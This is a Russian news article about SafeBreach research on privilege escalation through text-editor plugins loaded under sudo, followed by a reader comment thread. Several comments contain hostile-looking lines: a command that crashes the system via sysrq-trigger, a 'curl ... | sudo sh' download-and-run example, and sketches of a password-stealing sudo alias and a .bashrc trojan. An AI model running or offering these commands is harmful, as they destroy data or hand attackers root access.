Исследователи из компании SafeBreach представили (https://safebreach.com/Post/Abusing-Text-Editors-with-Third-...) спорный метод атаки, позволяющий атакующему поднять привилегии в системе, в случае если он получил возможность изменения файлов в каталоге пользователя, имеющего право на выполнение привилегированных операций через sudo. Метод атаки основан на том, что текстовые редакторы автоматически подключают плагины,  не только централизованно установленные в системе, но и те, что размещены в домашнем каталоге пользователя.

Проанализировав обработку плагинов в Vim, Emacs,  Sublime, Gedit и pico/nano, исследователи пришли к выводу (https://go.safebreach.com/rs/535-IXZ-934/images/Abusing_Text...), что все они могут быть использованы для атаки. Суть атаки сводится к размещению в каталоге пользователя (который выполняет sudo) вредоносного плагина (например, в ~/.vim/plugin/, ~/.config/sublime-text-3/Packages/User, ~/.emacs.d/init.el или ~/.local/share/gedit/plugins), который будет выполнен когда текстовый редактор будет выполнен с повышенными привилегиями при помощи утилиты sudo  (например, "sudo vim"). Для блокирования проблемы исследователи рекомендует раздельно обрабатывать запуск с повышенными привилегиями и не загружать плагины, которые принадлежат непривилегированному пользователю, не совпадающему с владельцем текущего процесса.

Разработчики vim (https://groups.google.com/forum/#!msg/vim_dev/8h54GXhxX3E/AV...), emacs (https://debbugs.gnu.org/cgi/bugreport.cgi?bug=28618) и gedit (https://bugzilla.gnome.org/show_bug.cgi?id=790939) отказались рассматривать указанное поведение как уязвимость, так как если атакующий уже смог загрузить свой файл в каталог пользователя, имеющего возможность выполнить sudo, то атака уже может считаться успешно совершённой. Проблема же с плагинами вызвана некорректной (https://security.stackexchange.com/questions/18369/issues-wi...) конфигурацией sudo, не меняющего переменную $HOME после смены пользователя.

URL: https://safebreach.com/Post/Abusing-Text-Editors-with-Third-...
Новость: https://www.opennet.me/opennews/art.shtml?num=48299

• Оценка влияния на безопасность плагинов к текстовым редактор...,Anonim, 21:20 , 20-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,ыы, 21:24 , 20-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 22:41 , 20-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 04:53 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,я, 21:44 , 20-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 22:44 , 20-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 20:01 , 21-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,IRASoldier, 15:55 , 22-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 14:37 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,я, 21:47 , 20-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 22:43 , 20-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 11:54 , 21-Мрт-18
      • Оценка влияния на безопасность плагинов к текстовым редактор...,Iaaa, 17:49 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 23:28 , 20-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Crazy Alex, 23:33 , 20-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 11:58 , 21-Мрт-18
      • Оценка влияния на безопасность плагинов к текстовым редактор...,Crazy Alex, 12:07 , 21-Мрт-18
        • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 15:49 , 21-Мрт-18
        • Оценка влияния на безопасность плагинов к текстовым редактор...,_, 16:05 , 21-Мрт-18
          • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 15:06 , 22-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 23:06 , 20-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,vantoo, 23:50 , 20-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,ryoken, 08:30 , 21-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 13:48 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Харитон, 09:20 , 21-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,PnDx, 11:45 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 23:23 , 20-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 09:30 , 21-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,alltiptop, 13:25 , 21-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 16:36 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 23:32 , 20-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Andrey Mitrofanov, 09:32 , 21-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 17:16 , 21-Мрт-18
      • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 19:45 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 00:56 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 01:08 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,ERTre, 04:56 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Andrey Mitrofanov, 09:37 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Тот_Самый_Анонимус, 07:00 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 07:45 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,KonstantinB, 11:05 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,John, 08:32 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 09:27 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 10:03 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 10:36 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Andrey Mitrofanov, 11:36 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 10:33 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 11:33 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Crazy Alex, 12:10 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 14:12 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 13:26 , 21-Мрт-18
• Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 14:06 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 15:25 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 15:56 , 21-Мрт-18
    • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 16:44 , 21-Мрт-18
  • Оценка влияния на безопасность плагинов к текстовым редактор...,Аноним, 05:45 , 22-Мрт-18

Хакер и солонка

>если атакующий уже смог загрузить свой файл в каталог пользователя, имеющего возможность выполнить sudo, то атака уже может считаться успешно совершённой

странная логика у товарищей.

Совершенно нормальная.

Тогда разреши по SSH приконнектиться?

Дополнения дают неограниченный доступ к компу жертвы. Sublime-text или Atom тащит дополнения в каждом из которых может быть зловред. А даже если сейчас нет, то произойдет то же, что и с Chrome - кто-то интегрирует зловред в обычный плагин и получит неограниченный доступ к компу.

А ты не используй неведомое нечто, а используй редактор.

Штука в том, что почти все редакторы, используемые в программировании, так или иначе расчитаны на работу с плагинами и без них практически бесполезны.

Sublime Text - это редактор. "A sophisticated text editor for code, markup and prose".

Но в больших масштабах оно работать не будет, потому что расширения лежат в сторе, где их можно всегда проверить и откуда их можно удалить. А вот что делать с расширениями, которые подкладываются в userspace и выполняются редакторами без ведома пользователя - вот это не ясно.

Разрабы популярных редакторов игнорируют проблемы пользователей. Там нет ни песочницы, ни проверки дополнений - ничего. Дескать открытый код решает все проблемы. Но как мы видели на примере Хрома, он ничего не решает.

> Там нет ни песочницы, ни проверки дополнений - ничего. Дескать открытый код решает все проблемы.
> Но как мы видели на примере Хрома, он ничего не решает.

Как мы видели на примере хрома, песочница и проверка дополнений и подавно ничего не решают.

Проблему решает только AppStore с тотальной премодерацией абсолютно всего. Это единственный путь, опенсорс уже давно доказал свою несостоятельность.

Лично я через апстор спокойно проводил сбор сетевой статистики.

Всего то надо было ее на неделю отключить, что бы проверяющий индус ничего не успел увидеть.

Открытый код не решает проблемы отсутствия мозгов у пользователей.

Зато ниличие мозга проблемы вполне решает. Если вы, конечно, не джаваскриптер с лефтпадом, который тащит в рот всё подряд не глядя.

Просто ты со своей сишечкой устарел и у тебя бомбит от модных-молодежных хипстеров на js, за которыми будущее - а ты перед этим бессилен.

Расслабься, мне это первый раз сказали те, кто писал, кажется, на FoxPro. А потом - дельфишники, рельсовики... И этих переживу.

:)

>Расслабься, мне это первый раз сказали те, кто писал, кажется, на FoxPro.
>А потом - дельфишники, рельсовики... И этих переживу.
>Crazy Alex

Ай крассава! В форсунки! (С) :-)

  

> Так что все, ты проиграл эту эволюцию, проследуй за лисперами и кобольщиками.

Но пока не переписали еще и оставшуюся, совершенно незначительную часть прослойки между JS и пользователем (браузеры, графические стеки, дрова и ядра там всякие) на JS, старперы еще немного потрепыхаются.

обнаружена уязвимость в пайпе баша, при помощи которой можно выполнить абсолютно любой код. Демонстрация уязвимости:

echo "echo hacked" > exploit.txt
bash exploit.txt

> bash exploit.txt

sudo bash exploit.txt
/FIXED

> sudo bash exploit.txt
> /FIXED

навеяло... "КАПИТАН Джек Воробей" :D

> sudo bash exploit.txt

$ sudo bash exploit.txt
[sudo] password for root: root
/FIXED

А где собственно пайп?)))

Вот так устроит?
echo c | sudo tee /proc/sysrq-trigger

Так vim, например, с-под sudo (без -E опции) не подгружает пользовательские настройки и плагины. А зачем последние нужны под рутом я не представляю.

На бубунте подгружает.

Всё у этих ни как у людей

> На бубунте подгружает.

Ты про vim под sudo (и зачем бы его так запускать?) или про sudoedit (который вовсе не под рутом редактор запускает)?

Исследователи говорят нам, мол, если вы поставите зловредный плагин, то вы в опасности. Спасибо, а то мы не знали.

> Исследователи говорят нам, мол, если вы поставите зловредный плагин, то вы в
> опасности. Спасибо, а то мы не знали.

Исследователи откровенно стебутся над пользователями [дистрибутивов] с открытым беспарольныс sudo на *.*

Уязвимость - в редакторе.  Деньги - в бидоне.  Смекаешь?

> Исследователи откровенно стебутся над пользователями [дистрибутивов] с открытым беспарольныс sudo на *.*

Хороший стёб. Но я обычно стебусь ещё над пользователями sudo.

Не смог в документацию?

До 1 апреля еще 10 дней, невтерпеж им

> Для блокирования проблемы исследователи рекомендуют

не (мучать) мозг, а вместо суды использовать су.

/thread

Не пугай так убунтят, их нынче много развелось.

>> Для блокирования проблемы исследователи рекомендуют
> не (мучать) мозг, а вместо суды использовать су.
> /thread

Прааальна!

А sudoers с ALL=(ALL) NOPASSWD:ALL оставить тем, кто им _умеет пользоваться -- кракирам, "исследователям" безопасности и примкнувшим к ним дистрибутивам.

Плагинам не место в каталоге пользователя. Это как в винде программы у пользователей с пониженными правами программы могут устанавливаться в каталог пользователя, так и в линухе с плагинами. И то и другое — дыра в безопасности. Второе даже хуже: его не всегда запретишь средствами ОС.

Так не ставь их в каталог пользователя.

В виме никто не мешает настроить runtimepath.
В емаксе никто не мешает настроить load-path.

Никогда не понимал одминов, которые разрешают sudo без пароля...

при чем здесь это?
команду sudo исполняет не редактор, а пользователь при запуске редактора. Даже при наличии пароля пользователь его введет, т.к. ему нужно что-либо отредактировать, и редактор запустится с root-правами.

"Оценка влияния на безопасность плагинов к текстовым редакторам". А теперь тоже самое, но по-русски.

Наверное, следовало бы написать "Оценка влияния на безопасность текстовых редакторов плагинов к ним".

> "Оценка влияния на безопасность плагинов к текстовым редакторам". А теперь тоже самое,
> но по-русски.

" бизапаснасть! шекели, шекели!! многа шекелей!!! а вот каму бизапаснасть71 "

Убунтологи, бойтесь, это, в первую очередь, касается вас! У вас же всё через sudo. Например, гентушники предпочитают su или, если на локальной консоли, то напрямую залогиниться рутом для выполнения админский действий.

а зачем вообще запускать эти редакторы из-под sudo? Если надо поправить какой-нибудь системный конфиг, то для этого есть nano.

nano есть ровно для того, чтобы дожить до момента установки vim или хотя бы mc.

Для этого есть sudoedit, вообще-то. Который запускает редактор из-под пользователя, а не из-под root.

Использование visudo разве не спасает от такого?

А зачем обязательно скрипты редакторов использовать? Может лучше сразу записать запуск трояна в .bashrc ?

Как вариант, троян форкается в background, ждёт запуска sudo и сам "переходит на следующий уровень" привелегий. Например, используя таймаут, пока не надо перевводить пароль при повторном запуске sudo.

Или можно сделать bash alias для sudo, чтоб вызывался свой sudo, который и какой нужно код запустит, и пароль заботливо сохранит, а может и сообщит его "куда следует".

> Может лучше сразу записать запуск трояна в .bashrc ?

Расслабься. Большинству достаточно написать, что для установки какой-нибудь софтины нужно сделать

curl https://aninnovativestartupdomainregisteredaweekago.com/inst... | sudo sh

и никакого вмешательства в .bashrc не потребуется.

Дык пацаны же сказали что троян надо обязательно в плагины к редактору вписывать

А зачем вообще трояну рут? Он уже получил всё ценное.